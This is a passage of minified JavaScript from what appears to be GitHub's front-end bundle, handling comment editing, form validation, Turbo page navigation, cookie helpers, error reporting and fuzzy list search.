K=j.querySelector(".js-comment-edit-history");if(K){const W=await(0,C.a)(document,O.editUrl);K.innerHTML="",K.append(W)}}),(0,u.N7)(".js-comment-body-error",{add:E=>{d&&d.length>0&&L(E)}});function L(E){const A=E.querySelector("ol");if(A){A.innerHTML="";const k=d.map(j=>{const P=document.createElement("li");return P.textContent=j,P});for(const j of k)A.appendChild(j)}E.hidden=!1}s(L,"showBodyErrors"),(0,g.AC)(".js-comment .js-comment-delete, .js-comment .js-comment-update, .js-comment-minimize, .js-comment-unminimize",async function(E,A){const k=E.closest(".js-comment");try{await A.text()}catch(j){if(j.response.status===422){let P;try{P=JSON.parse(j.response.text)}catch{}P&&P.stale&&k.classList.add("is-comment-stale")}else throw j}k.classList.remove("is-comment-loading")});function q(E,A){const k=E.querySelector(".js-comment-show-on-error");k&&(k.hidden=!A);const j=E.querySelector(".js-comment-hide-on-error");j&&(j.hidden=A)}s(q,"toggleMinimizeError"),(0,g.AC)(".js-timeline-comment-unminimize, .js-timeline-comment-minimize",async function(E,A){const k=E.closest(".js-minimize-container");try{const j=await A.html();k.replaceWith(j.html)}catch{q(k,!0)}}),(0,g.AC)(".js-discussion-comment-unminimize, .js-discussion-comment-minimize",async function(E,A){const k=E.closest(".js-discussion-comment"),j=k.querySelector(".js-discussion-comment-error");j&&(j.hidden=!0);try{const P=await A.html();k.replaceWith(P.html)}catch(P){if(P.response.status>=400&&P.response.status<500){if(P.response.html){const M=P.response.html.querySelector(".js-discussion-comment").getAttribute("data-error");j instanceof HTMLElement&&(j.textContent=M,j.hidden=!1)}}else throw P}}),(0,g.AC)(".js-comment-delete",async function(E,A){await A.json();let k=E.closest(".js-comment-delete-container");k||(k=E.closest(".js-comment-container")||E.closest(".js-line-comments"),k&&k.querySelectorAll(".js-comment").length!==1&&(k=E.closest(".js-comment")));const j=(k==null?void 0:k.closest(".js-comment-container"))||(k==null?void 0:k.closest(".js-line-comments"));if(k==null||k.remove(),j&&j.querySelectorAll(".js-comment").length===1)for(const P of j.querySelectorAll(".js-delete-on-last-reply-deleted"))P.remove()}),(0,g.AC)(".js-issue-update",async function(E,A){var k,j,P;const M=E.closest(".js-details-container"),O=M.querySelector(".js-comment-form-error");let V;try{V=await A.json()}catch(N){O.textContent=((P=(j=(k=N.response)==null?void 0:k.json)==null?void 0:j.errors)==null?void 0:P[0])||"Something went wrong. Please try again.",O.hidden=!1}if(!V)return;M.classList.remove("open"),O.hidden=!0;const H=V.json;if(H.issue_title!=null){M.querySelector(".js-issue-title").textContent=H.issue_title;const N=M.closest(".js-issues-results");if(N){if(N.querySelector(".js-merge-pr.is-merging")){const U=N.querySelector(".js-merge-pull-request textarea");U instanceof HTMLTextAreaElement&&U.value===U.defaultValue&&(U.value=U.defaultValue=H.issue_title)}else if(N.querySelector(".js-merge-pr.is-squashing")){const U=N.querySelector(".js-merge-pull-request .js-merge-title");U instanceof HTMLInputElement&&U.value===U.defaultValue&&(U.value=U.defaultValue=H.default_squash_commit_title)}const K=N.querySelector("button[value=merge]");K&&K.setAttribute("data-input-message-value",H.issue_title);const W=N.querySelector("button[value=squash]");W&&W.setAttribute("data-input-title-value",H.default_squash_commit_title)}}document.title=H.page_title;for(const N of E.elements)(N instanceof HTMLInputElement||N instanceof HTMLTextAreaElement)&&(N.defaultValue=N.value)}),(0,g.AC)(".js-comment-minimize",async function(E,A){await A.json();const k=E.closest(".js-comment"),j=k.querySelector(".js-minimize-comment");if(j&&j.classList.contains("js-update-minimized-content")){const P=E.querySelector("input[type=submit], button[type=submit]");P&&P.classList.add("disabled");const M=k.closest(".js-comment-container");M&&await(0,h.x0)(M)}else{j&&j.classList.add("d-none");const P=E.closest(".unminimized-comment");P.classList.add("d-none"),P.classList.remove("js-comment");const O=E.closest(".js-minimizable-comment-group").querySelector(".minimized-comment");O&&O.classList.remove("d-none"),O&&O.classList.add("js-comment")}}),(0,g.AC)(".js-comment-unminimize",async function(E,A){await A.json();const k=E.closest(".js-minimizable-comment-group"),j=k.querySelector(".unminimized-comment"),P=k.querySelector(".minimized-comment");if(j)j.classList.remove("d-none"),j.classList.add("js-comment"),P&&P.classList.add("d-none"),P&&P.classList.remove("js-comment");else{if(P){const O=P.querySelector(".timeline-comment-actions");O&&O.classList.add("d-none"),P.classList.remove("js-comment")}const M=k.closest(".js-comment-container");await(0,h.x0)(M)}}),(0,T.on)("details-menu-select",".js-comment-edit-history-menu",E=>{const A=E.detail.relatedTarget.getAttribute("data-edit-history-url");if(!A)return;E.preventDefault();const k=(0,C.a)(document,A);(0,c.W)({content:k,dialogClass:"Box-overlay--wide overflow-visible"})},{capture:!0})},87924:()=>{document.addEventListener("click",function($){if(!($.target instanceof Element))return;const D="a[data-confirm], input[type=submit][data-confirm], input[type=checkbox][data-confirm], button[data-confirm]",f=$.target.closest(D);if(!f)return;const T=f.getAttribute("data-confirm");!T||f instanceof HTMLInputElement&&f.hasAttribute("data-confirm-checked")&&!f.checked||confirm(T)||($.stopImmediatePropagation(),$.preventDefault())},!0)},33948:($,D,f)=>{"use strict";f.d(D,{Z:()=>_});var T=f(7739);const c=[];let C=0;function _(d){(async function(){c.push(d),await T.x,x()})()}s(_,"hashChange"),_.clear=()=>{c.length=C=0};function x(){const d=C;C=c.length,u(c.slice(d),null,window.location.href)}s(x,"runRemainingHandlers");function u(d,m,p){const b=window.location.hash.slice(1),v=b?document.getElementById(b):null,L={oldURL:m,newURL:p,target:v};for(const q of d)q.call(null,L)}s(u,"runHandlers");let g=window.location.href;window.addEventListener("popstate",function(){g=window.location.href}),window.addEventListener("hashchange",function(d){const m=window.location.href;try{u(c,d.oldURL||g,m)}finally{g=m}});let h=null;document.addEventListener("pjax:start",function(){h=window.location.href}),document.addEventListener("pjax:end",function(){u(c,h,window.location.href)})},52641:($,D,f)=>{"use strict";f.d(D,{G:()=>h});var T=f(45075),c=f(64463),C=f(59753);const _=["input[pattern]","input[required]","textarea[required]","input[data-required-change]","textarea[data-required-change]","input[data-required-value]","textarea[data-required-value]"].join(",");function x(d){const m=d.getAttribute("data-required-value"),p=d.getAttribute("data-required-value-prefix");if(d.value===m)d.setCustomValidity("");else{let b=m;p&&(b=p+b),d.setCustomValidity(b)}}s(x,"checkValidityForRequiredValueField"),(0,T.q6)("[data-required-value]",function(d){const m=d.currentTarget;x(m)}),(0,C.on)("change","[data-required-value]",function(d){const m=d.currentTarget;x(m),h(m.form)}),(0,T.q6)("[data-required-trimmed]",function(d){const m=d.currentTarget;m.value.trim()===""?m.setCustomValidity(m.getAttribute("data-required-trimmed")):m.setCustomValidity("")}),(0,C.on)("change","[data-required-trimmed]",function(d){const m=d.currentTarget;m.value.trim()===""?m.setCustomValidity(m.getAttribute("data-required-trimmed")):m.setCustomValidity(""),h(m.form)}),(0,T.ZG)(_,d=>{let m=d.checkValidity();function p(){const b=d.checkValidity();b!==m&&d.form&&h(d.form),m=b}s(p,"inputHandler"),d.addEventListener("input",p),d.addEventListener("blur",s(function b(){d.removeEventListener("input",p),d.removeEventListener("blur",b)},"blurHandler"))});const u=new WeakMap;function g(d){u.get(d)||(d.addEventListener("change",()=>h(d)),u.set(d,!0))}s(g,"installHandlers");function h(d){const m=d.checkValidity();for(const p of d.querySelectorAll("button[data-disable-invalid]"))p.disabled=!m}s(h,"validate"),(0,c.N7)("button[data-disable-invalid]",{constructor:HTMLButtonElement,initialize(d){const m=d.form;m&&(g(m),d.disabled=!m.checkValidity())}}),(0,c.N7)("input[data-required-change], textarea[data-required-change]",function(d){const m=d,p=m.type==="radio"&&m.form?m.form.elements.namedItem(m.name).value:null;function b(v){const L=m.form;if(v&&m.type==="radio"&&L&&p)for(const q of L.elements.namedItem(m.name))q instanceof HTMLInputElement&&q.setCustomValidity(m.value===p?"unchanged":"");else m.setCustomValidity(m.value===(p||m.defaultValue)?"unchanged":"")}s(b,"customValidity"),m.addEventListener("input",b),m.addEventListener("change",b),b(),m.form&&h(m.form)}),document.addEventListener("reset",function(d){if(d.target instanceof HTMLFormElement){const m=d.target;setTimeout(()=>h(m))}})},11724:()=>{document.addEventListener("pjax:click",function($){if(window.onbeforeunload)return $.preventDefault()})},17300:($,D,f)=>{"use strict";f.d(D,{k:()=>x});var T=f(6741),c=f(7739),C=f(64463),_=f(75371);(0,C.N7)(".js-responsive-underlinenav",{constructor:HTMLElement,subscribe:h=>(x(h),(0,T.RB)(window,"resize",()=>g(h)))});async function x(h){await c.C,g(h)}s(x,"asyncCalculateVisibility");function u(h,d){h.style.visibility=d?"hidden":"";const m=h.getAttribute("data-tab-item");if(m){const p=document.querySelector(`[data-menu-item=${m}]`);p instanceof HTMLElement&&(p.hidden=!d)}}s(u,"toggleItem");function g(h){const d=h.querySelectorAll(".js-responsive-underlinenav-item"),m=h.querySelector(".js-responsive-underlinenav-overflow"),p=(0,_.oE)(m,h);if(!p)return;let b=!1;for(const v of d){const L=(0,_.oE)(v,h);if(L){const q=L.left+v.offsetWidth>=p.left;u(v,q),b=b||q}}m.style.visibility=b?"":"hidden"}s(g,"calculateVisibility")},41928:()=>{function $(T){const c=document.querySelector(".js-stale-session-flash"),C=c.querySelector(".js-stale-session-flash-signed-in"),_=c.querySelector(".js-stale-session-flash-signed-out");c.hidden=!1,C.hidden=T==="false",_.hidden=T==="true",window.addEventListener("popstate",function(x){x.state&&x.state.container!=null&&location.reload()}),document.addEventListener("submit",function(x){x.preventDefault()})}s($,"sessionChanged");let D;if(typeof BroadcastChannel=="function")try{D=new BroadcastChannel("stale-session"),D.onmessage=T=>{typeof T.data=="string"&&$(T.data)}}catch{}if(!D){let T=!1;D={postMessage(c){T=!0;try{window.localStorage.setItem("logged-in",c)}finally{T=!1}}},window.addEventListener("storage",function(c){if(!T&&c.storageArea===window.localStorage&&c.key==="logged-in")try{(c.newValue==="true"||c.newValue==="false")&&$(c.newValue)}finally{window.localStorage.removeItem(c.key)}})}const f=document.querySelector(".js-stale-session-flash[data-signedin]");if(f){const T=f.getAttribute("data-signedin")||"";D.postMessage(T)}},32222:($,D,f)=>{"use strict";var T=f(11793),c=f(59753),C=f(64463);class _{constructor(u){this.container=u.container,this.selections=u.selections,this.inputWrap=u.inputWrap,this.input=u.input,this.tagTemplate=u.tagTemplate,this.form=this.input.form,this.autoComplete=u.autoComplete,this.multiTagInput=u.multiTagInput}setup(){this.container.addEventListener("click",u=>{u.target.closest(".js-remove")?this.removeTag(u):this.onFocus()}),this.input.addEventListener("focus",this.onFocus.bind(this)),this.input.addEventListener("blur",this.onBlur.bind(this)),this.input.addEventListener("keydown",this.onKeyDown.bind(this)),this.form.addEventListener("submit",this.onSubmit.bind(this)),this.autoComplete.addEventListener("auto-complete-change",()=>{this.selectTag(this.autoComplete.value)})}onFocus(){this.inputWrap.classList.add("focus"),this.input!==document.activeElement&&this.input.focus()}onBlur(){this.inputWrap.classList.remove("focus"),this.autoComplete.open||this.onSubmit()}onSubmit(){this.input.value&&(this.selectTag(this.input.value),this.autoComplete.open=!1)}onKeyDown(u){switch((0,T.EL)(u)){case"Backspace":this.onBackspace();break;case"Enter":case"Tab":this.taggifyValueWhenSuggesterHidden(u);break;case",":case" ":this.taggifyValue(u);break}}taggifyValueWhenSuggesterHidden(u){!this.autoComplete.open&&this.input.value&&(u.preventDefault(),this.selectTag(this.input.value))}taggifyValue(u){this.input.value&&(u.preventDefault(),this.selectTag(this.input.value),this.autoComplete.open=!1)}selectTag(u){const g=this.normalizeTag(u),h=this.selectedTags();let d=!1;for(let m=0;mg.value).filter(g=>g.length>0)}}s(_,"TagInput"),(0,C.N7)(".js-tag-input-container",{constructor:HTMLElement,initialize(x){new _({container:x,inputWrap:x.querySelector(".js-tag-input-wrapper"),input:x.querySelector('input[type="text"], input:not([type])'),selections:x.querySelector(".js-tag-input-selected-tags"),tagTemplate:x.querySelector(".js-template"),autoComplete:x.querySelector("auto-complete"),multiTagInput:!1}).setup()}}),(0,C.N7)(".js-multi-tag-input-container",{constructor:HTMLElement,initialize(x){new _({container:x,inputWrap:x.querySelector(".js-tag-input-wrapper"),input:x.querySelector('input[type="text"], input:not([type])'),selections:x.querySelector(".js-tag-input-selected-tags"),tagTemplate:x.querySelector(".js-template"),autoComplete:x.querySelector("auto-complete"),multiTagInput:!0}).setup()}})},53412:($,D,f)=>{"use strict";f.d(D,{H:()=>_});var T=f(29946),c=f(49815),C=f(11190);if((0,c.c)("TURBO")){(async()=>{const{PageRenderer:u,session:g,navigator:h}=await f.e("vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js").then(f.bind(f,74395)),d=g.adapter;function m(){d.progressBar.setValue(0),d.progressBar.show()}s(m,"beginProgressBar");function p(){d.progressBar.setValue(1),d.progressBar.hide()}s(p,"completeProgressBar"),document.addEventListener("turbo:before-fetch-request",q=>{const E=q.target;if(_(E)&&m(),(E==null?void 0:E.tagName)==="HTML"){const k=q;k.detail.fetchOptions.headers["Turbo-Visit"]="true"}const A=(0,C.I)(q.detail.url.pathname);if(A){const k=new URLSearchParams(q.detail.url.search);for(const[j,P]of Object.entries(A))P&&k.set(j,P);q.detail.url.search=k.toString()}}),document.addEventListener("turbo:frame-render",q=>{_(q.target)&&p()}),document.addEventListener(T.QE.START,m),document.addEventListener(T.QE.END,p);const b=Object.getOwnPropertyDescriptor(u.prototype,"reloadReason").get;Object.defineProperty(u.prototype,"reloadReason",{get(){const q=b.call(this);if(q.reason!=="tracked_element_mismatch")return q;const E=Object.fromEntries(v(this.currentHeadSnapshot)),A=[];for(const[k,j]of v(this.newHeadSnapshot))E[k]!==j&&A.push(k.replace(/^x-/,"").replaceAll("-","_"));return{reason:`tracked_element_mismatch-${A.join("-")}`}}});function*v(q){for(const E of Object.values(q.detailsByOuterHTML))if(E.tracked)for(const A of E.elements)A instanceof HTMLMetaElement&&A.getAttribute("http-equiv")&&(yield[A.getAttribute("http-equiv")||"",A.getAttribute("content")||""])}s(v,"getSnapshotSignatures");function L(q){const E=history[q];history[q]=function(A,k,j){var P;function M(O,V,H){E.call(this,{...A,...O},V,H)}s(M,"oldHistoryWithMergedState"),h.history.update(M,new URL(j||location.href,location.href),(P=A==null?void 0:A.turbo)==null?void 0:P.restorationIdentifier)}}s(L,"patchHistoryApi"),L("replaceState"),L("pushState")})();const x=s((u,g)=>{const h=new URL(u,window.location.origin),d=new URL(g,window.location.origin);return Boolean(d.hash)&&h.hash!==d.hash&&h.host===d.host&&h.pathname===d.pathname&&h.search===d.search},"isHashNavigation");document.addEventListener("turbo:click",function(u){if(!(u.target instanceof HTMLElement))return;const g=u.target.closest("[data-turbo-frame]");g instanceof HTMLElement&&u.target.setAttribute("data-turbo-frame",g.getAttribute("data-turbo-frame")||""),u instanceof CustomEvent&&x(location.href,u.detail.url)&&u.preventDefault()}),document.addEventListener("turbo:before-render",u=>{if(!(u instanceof CustomEvent))return;const g=u.detail.newBody.ownerDocument.documentElement,h=document.documentElement;for(const d of h.attributes)!g.hasAttribute(d.nodeName)&&d.nodeName!=="aria-busy"&&h.removeAttribute(d.nodeName);for(const d of g.attributes)h.getAttribute(d.nodeName)!==d.nodeValue&&h.setAttribute(d.nodeName,d.nodeValue)}),document.addEventListener("turbo:visit",T.LD),document.addEventListener("turbo:render",T.FP),document.addEventListener("beforeunload",T.FP),document.addEventListener("turbo:load",u=>{Object.keys(u.detail.timing).length===0?(0,T.OE)()||(0,T.Po)()?(0,T.Ys)():(0,T.F6)():(0,T.Xk)()}),document.addEventListener("turbo:before-visit",function(u){var g;const h=(g=window.onbeforeunload)==null?void 0:g.call(window,u);h&&(confirm(h)?window.onbeforeunload=null:u.preventDefault())}),document.addEventListener("turbo:reload",function(u){u instanceof CustomEvent&&(0,T.Ak)(u.detail.reason)}),document.addEventListener(T.QE.SUCCESS,()=>{if(location.hash==="")return;const u=document.createElement("a");u.href=`#${location.hash.slice(1)}`,u.click()})}const _=s(x=>(x==null?void 0:x.tagName)==="TURBO-FRAME","isTurboFrame")},95128:()=>{function $(){const f=document.createElement("div");return f.style.cssText="-ms-user-select: element; user-select: contain;",f.style.getPropertyValue("-ms-user-select")==="element"||f.style.getPropertyValue("-ms-user-select")==="contain"||f.style.getPropertyValue("user-select")==="contain"}s($,"supportsUserSelectContain");function D(f){if(!(f.target instanceof Element))return;const T=f.target.closest(".user-select-contain");if(!T)return;const c=window.getSelection();if(!c||!c.rangeCount||!c.rangeCount||c.type!=="Range")return;const C=c.getRangeAt(0).commonAncestorContainer;T.contains(C)||c.selectAllChildren(T)}s(D,"handleUserSelectContain"),$()||document.addEventListener("click",D)},29790:($,D,f)=>{"use strict";f.d(D,{Dw:()=>x,G5:()=>T,M9:()=>g,n6:()=>_});function T(b){const v=b.match(/#?(?:L)(\d+)((?:C)(\d+))?/g);if(v)if(v.length===1){const L=u(v[0]);return L?Object.freeze({start:L,end:L}):void 0}else if(v.length===2){const L=u(v[0]),q=u(v[1]);return!L||!q?void 0:m(Object.freeze({start:L,end:q}))}else return;else return}s(T,"parseBlobRange");function c(b){const{start:v,end:L}=m(b);return v.column!=null&&L.column!=null?`L${v.line}C${v.column}-L${L.line}C${L.column}`:v.line===L.line?`L${v.line}`:`L${v.line}-L${L.line}`}s(c,"formatBlobRange");function C(b){const v=b.match(/(file-.+?-)L\d+?/i);return v?v[1]:""}s(C,"parseAnchorPrefix");function _(b){const v=T(b),L=C(b);return{blobRange:v,anchorPrefix:L}}s(_,"parseFileAnchor");function x({anchorPrefix:b,blobRange:v}){return v?`#${b}${c(v)}`:"#"}s(x,"formatBlobRangeAnchor");function u(b){const v=b.match(/L(\d+)/),L=b.match(/C(\d+)/);return v?Object.freeze({line:parseInt(v[1]),column:L?parseInt(L[1]):null}):null}s(u,"parseBlobOffset");function g(b,v){const[L,q]=h(b.start,!0,v),[E,A]=h(b.end,!1,v);if(!L||!E)return;let k=q,j=A;if(k===-1&&(k=0),j===-1&&(j=E.childNodes.length),!L.ownerDocument)throw new Error("DOMRange needs to be inside document");const P=L.ownerDocument.createRange();return P.setStart(L,k),P.setEnd(E,j),P}s(g,"DOMRangeFromBlob");function h(b,v,L){const q=[null,0],E=L(b.line);if(!E)return q;if(b.column==null)return[E,-1];let A=b.column-1;const k=d(E);for(let j=0;j{"use strict";f.d(D,{P:()=>C,g:()=>_});var T=f(59753);const c=new WeakMap;function C(g){return c.get(g)}s(C,"getCodeEditor");async function _(g){return c.get(g)||x(await u(g,"codeEditor:ready"))}s(_,"getAsyncCodeEditor");function x(g){if(!(g instanceof CustomEvent))throw new Error("assert: event is not a CustomEvent");const h=g.detail.editor;if(!g.target)throw new Error("assert: event.target is null");return c.set(g.target,h),h}s(x,"onEditorFromEvent"),(0,T.on)("codeEditor:ready",".js-code-editor",x);function u(g,h){return new Promise(d=>{g.addEventListener(h,d,{once:!0})})}s(u,"nextEvent")},64926:($,D,f)=>{"use strict";f.d(D,{$1:()=>c,d8:()=>_,ej:()=>T,kT:()=>x});function T(u){return c(u)[0]}s(T,"getCookie");function c(u){const g=[];for(const h of C()){const[d,m]=h.trim().split("=");u===d&&typeof m!="undefined"&&g.push({key:d,value:m})}return g}s(c,"getCookies");function C(){try{return document.cookie.split(";")}catch{return[]}}s(C,"readCookies");function _(u,g,h=null,d=!1,m="lax"){let p=document.domain;if(p==null)throw new Error("Unable to get document domain");p.endsWith(".github.com")&&(p="github.com");const b=location.protocol==="https:"?"; secure":"",v=h?`; expires=${h}`:"";d===!1&&(p=`.${p}`);try{document.cookie=`${u}=${g}; path=/; domain=${p}${v}${b}; samesite=${m}`}catch{}}s(_,"setCookie");function x(u,g=!1){let h=document.domain;if(h==null)throw new Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const d=new Date().getTime(),m=new Date(d-1).toUTCString(),p=location.protocol==="https:"?"; secure":"",b=`; expires=${m}`;g===!1&&(h=`.${h}`);try{document.cookie=`${u}=''; path=/; domain=${h}${b}${p}`}catch{}}s(x,"deleteCookie")},75371:($,D,f)=>{"use strict";f.d(D,{VZ:()=>c,_C:()=>C,cv:()=>T,oE:()=>_});function T(g){const h=g.getBoundingClientRect();return{top:h.top+window.pageYOffset,left:h.left+window.pageXOffset}}s(T,"offset");function c(g){let h=g;const d=h.ownerDocument;if(!d||!h.offsetParent)return;const m=d.defaultView.HTMLElement;if(h!==d.body){for(;h!==d.body;){if(h.parentElement instanceof m)h=h.parentElement;else return;const{position:p,overflowY:b,overflowX:v}=getComputedStyle(h);if(p==="fixed"||b==="auto"||v==="auto"||b==="scroll"||v==="scroll")break}return h instanceof Document?null:h}}s(c,"overflowParent");function C(g,h){let d=h;const m=g.ownerDocument;if(!m)return;const p=m.documentElement;if(!p||g===p)return;const b=_(g,d);if(!b)return;d=b._container;const v=d===m.documentElement&&m.defaultView?{top:m.defaultView.pageYOffset,left:m.defaultView.pageXOffset}:{top:d.scrollTop,left:d.scrollLeft},L=b.top-v.top,q=b.left-v.left,E=d.clientHeight,A=d.clientWidth,k=E-(L+g.offsetHeight),j=A-(q+g.offsetWidth);return{top:L,left:q,bottom:k,right:j,height:E,width:A}}s(C,"overflowOffset");function _(g,h){let d=g;const m=d.ownerDocument;if(!m)return;const p=m.documentElement;if(!p)return;const b=m.defaultView.HTMLElement;let v=0,L=0;const q=d.offsetHeight,E=d.offsetWidth;for(;!(d===m.body||d===h);)if(v+=d.offsetTop||0,L+=d.offsetLeft||0,d.offsetParent instanceof b)d=d.offsetParent;else return;let A,k,j;if(!h||h===m||h===m.defaultView||h===m.documentElement||h===m.body)j=p,A=x(m.body,p),k=u(m.body,p);else if(h instanceof b)j=h,A=h.scrollHeight,k=h.scrollWidth;else return;const P=A-(v+q),M=k-(L+E);return{top:v,left:L,bottom:P,right:M,_container:j}}s(_,"positionedOffset");function x(g,h){return Math.max(g.scrollHeight,h.scrollHeight,g.offsetHeight,h.offsetHeight,h.clientHeight)}s(x,"getDocumentHeight");function u(g,h){return Math.max(g.scrollWidth,h.scrollWidth,g.offsetWidth,h.offsetWidth,h.clientWidth)}s(u,"getDocumentWidth")},73185:($,D,f)=>{"use strict";f.d(D,{Dc:()=>_,bP:()=>g,g:()=>u,gJ:()=>T,rs:()=>c});function T(){return Promise.resolve()}s(T,"microtask");function c(){return new Promise(window.requestAnimationFrame)}s(c,"animationFrame");async function C(h,d){let m;const p=new Promise((b,v)=>{m=self.setTimeout(()=>v(new Error("timeout")),h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(C,"timeout");async function _(h,d){let m;const p=new Promise(b=>{m=self.setTimeout(b,h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(_,"wait");function x(h){return new Promise((d,m)=>{const p=new Error("aborted");p.name="AbortError",h.aborted?m(p):h.addEventListener("abort",()=>m(p))})}s(x,"whenAborted");function u(h){const d=[];return function(m){d.push(m),d.length===1&&queueMicrotask(()=>{const p=[...d];d.length=0,h(p)})}}s(u,"taskQueue");async function g(h){requestAnimationFrame(()=>{setTimeout(h)})}s(g,"afterNextPaint")},92003:($,D,f)=>{"use strict";f.d(D,{aJ:()=>k,cI:()=>q,eK:()=>p});var T=f(29946),c=f(97474),C=f(82918),_=f(50232),x=f(28382),u=f(47930),g=f(49815);let h=!1,d=0;const m=Date.now();function p(M,O={}){M&&M.name!=="AbortError"&&b(L(v(M),O))}s(p,"reportError");async function b(M){var O,V;if(!P())return;const H=(V=(O=document.head)==null?void 0:O.querySelector('meta[name="browser-errors-url"]'))==null?void 0:V.content;if(!!H){if(A(M.error.stacktrace)){h=!0;return}d++;try{await fetch(H,{method:"post",body:JSON.stringify(M)})}catch{}}}s(b,"report");function v(M){return{type:M.name,value:M.message,stacktrace:q(M)}}s(v,"formatError");function L(M,O={}){return Object.assign({error:M,sanitizedUrl:(0,u.S)()||window.location.href,readyState:document.readyState,referrer:(0,T.wP)(),timeSinceLoad:Math.round(Date.now()-m),user:k()||void 0,turbo:(0,g.c)("TURBO")},O)}s(L,"errorContext");function q(M){return(0,x.Q)(M.stack||"").map(O=>({filename:O.file||"",function:String(O.methodName),lineno:(O.lineNumber||0).toString(),colno:(O.column||0).toString()}))}s(q,"stacktrace");const E=/(chrome|moz|safari)-extension:\/\//;function A(M){return M.some(O=>E.test(O.filename)||E.test(O.function))}s(A,"isExtensionError");function k(){var M,O;const V=(O=(M=document.head)==null?void 0:M.querySelector('meta[name="user-login"]'))==null?void 0:O.content;return V||`anonymous-${(0,C.b)()}`}s(k,"pageUser");let j=!1;window.addEventListener("pageshow",()=>j=!1),window.addEventListener("pagehide",()=>j=!0),document.addEventListener(T.QE.ERROR,M=>{b(L({type:"SoftNavError",value:M.detail,stacktrace:q(new Error)}))});function P(){return!j&&!h&&d<10&&(0,_.Gb)()&&!(0,c.Z)(document)}s(P,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",O=>{p(O.data.error)})},98670:($,D,f)=>{"use strict";f.d(D,{W:()=>c});function*T(C,_){for(const x of C){const u=_(x);u!=null&&(yield u)}}s(T,"filterMap");function c(C,_,x){return[...T(C,s(g=>{const h=_(g);return h!=null?[g,h]:null},"sortKey"))].sort((g,h)=>x(g[1],h[1])).map(([g])=>g)}s(c,"filterSort")},8089:($,D,f)=>{"use strict";f.d(D,{EW:()=>T,Qw:()=>C,qu:()=>x});function T(u,g){let h=_(u,g);if(h&&g.indexOf("/")===-1){const d=u.substring(u.lastIndexOf("/")+1);h+=_(d,g)}return h}s(T,"fuzzyScore");function c(u){const g=u.toLowerCase().split("");let h="";for(let d=0;d"),m=!0):m&&(p.push(""),m=!1),p.push(v))}u.innerHTML=p.join("")}else{const d=u.innerHTML.trim(),m=d.replace(/<\/?mark>/g,"");d!==m&&(u.innerHTML=m)}}s(C,"fuzzyHighlightElement");function _(u,g){let h=u;if(h===g)return 1;const d=h.length;let m=0,p=0;for(let q=0;q-1?j:Math.max(A,k);if(P===-1)return 0;m+=.1,h[P]===E&&(m+=.1),P===0&&(m+=.8,q===0&&(p=1)),h.charAt(P-1)===" "&&(m+=.8),h=h.substring(P+1,d)}const b=g.length,v=m/b;let L=(v*(b/d)+v)/2;return p&&L+.1<1&&(L+=.1),L}s(_,"stringScore");function x(u,g){return u.score>g.score?-1:u.scoreg.text?1:0}s(x,"compare")},99254:($,D,f)=>{"use strict";f.d(D,{Z:()=>d});var T=f(47142);const c=s((m,p,b)=>{if(!(0,T.CD)(m,p))return-1/0;const v=(0,T.Gs)(m,p);return v{m.innerHTML="";let v=0;for(const L of(0,T.m7)(p,b)){b.slice(v,L)!==""&&m.appendChild(document.createTextNode(b.slice(v,L))),v=L+1;const E=document.createElement("mark");E.textContent=b[L],m.appendChild(E)}m.appendChild(document.createTextNode(b.slice(v)))},"highlightElement"),_=new WeakMap,x=new WeakMap,u=new WeakMap,g=s(m=>{if(!u.has(m)&&m instanceof HTMLElement){const p=(m.getAttribute("data-value")||m.textContent||"").trim();return u.set(m,p),p}return u.get(m)||""},"getTextCache");class h extends HTMLElement{connectedCallback(){const p=this.querySelector("ul");if(!p)return;const b=new Set(p.querySelectorAll("li")),v=this.querySelector("input");v instanceof HTMLInputElement&&v.addEventListener("input",()=>{this.value=v.value});const L=new MutationObserver(E=>{let A=!1;for(const k of E)if(k.type==="childList"&&k.addedNodes.length){for(const j of k.addedNodes)if(j instanceof HTMLLIElement&&!b.has(j)){const P=g(j);A=A||(0,T.CD)(this.value,P),b.add(j)}}A&&this.sort()});L.observe(p,{childList:!0});const q={handler:L,items:b,lazyItems:new Map,timer:null};x.set(this,q)}disconnectedCallback(){const p=x.get(this);p&&(p.handler.disconnect(),x.delete(this))}addLazyItems(p,b){const v=x.get(this);if(!v)return;const{lazyItems:L}=v,{value:q}=this;let E=!1;for(const A of p)L.set(A,b),E=E||Boolean(q)&&(0,T.CD)(q,A);E&&this.sort()}sort(){const p=_.get(this);p&&(p.aborted=!0);const b={aborted:!1};_.set(this,b);const{minScore:v,markSelector:L,maxMatches:q,value:E}=this,A=x.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:E})))return;const{items:k,lazyItems:j}=A,P=this.hasAttribute("mark-selector"),M=this.querySelector("ul");if(!M)return;const O=[];if(E){for(const V of k){const H=g(V),N=c(E,H,v);N!==-1/0&&O.push({item:V,score:N})}for(const[V,H]of j){const N=c(E,V,v);N!==-1/0&&O.push({text:V,render:H,score:N})}O.sort((V,H)=>H.score-V.score).splice(q)}else{let V=O.length;for(const H of k){if(V>=q)break;O.push({item:H,score:1}),V+=1}for(const[H,N]of j){if(V>=q)break;O.push({text:H,render:N,score:1}),V+=1}}requestAnimationFrame(()=>{if(b.aborted)return;const V=M.querySelector('input[type="radio"]:checked');M.innerHTML="";let H=0;const N=s(()=>{if(b.aborted)return;const K=Math.min(O.length,H+100),W=document.createDocumentFragment();for(let te=H;te0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:O.length}))}},"nextBatch");N()})}get value(){return this.getAttribute("value")||""}set value(p){this.setAttribute("value",p)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(p){p?this.setAttribute("mark-selector",p):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(p){Number.isNaN(p)||this.setAttribute("min-score",String(p))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(p){Number.isNaN(p)||this.setAttribute("max-matches",String(p))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(p,b,v){if(b===v)return;const L=x.get(this);!L||(L.timer&&window.clearTimeout(L.timer),L.timer=window.setTimeout(()=>this.sort(),100))}}s(h,"FuzzyListElement");const 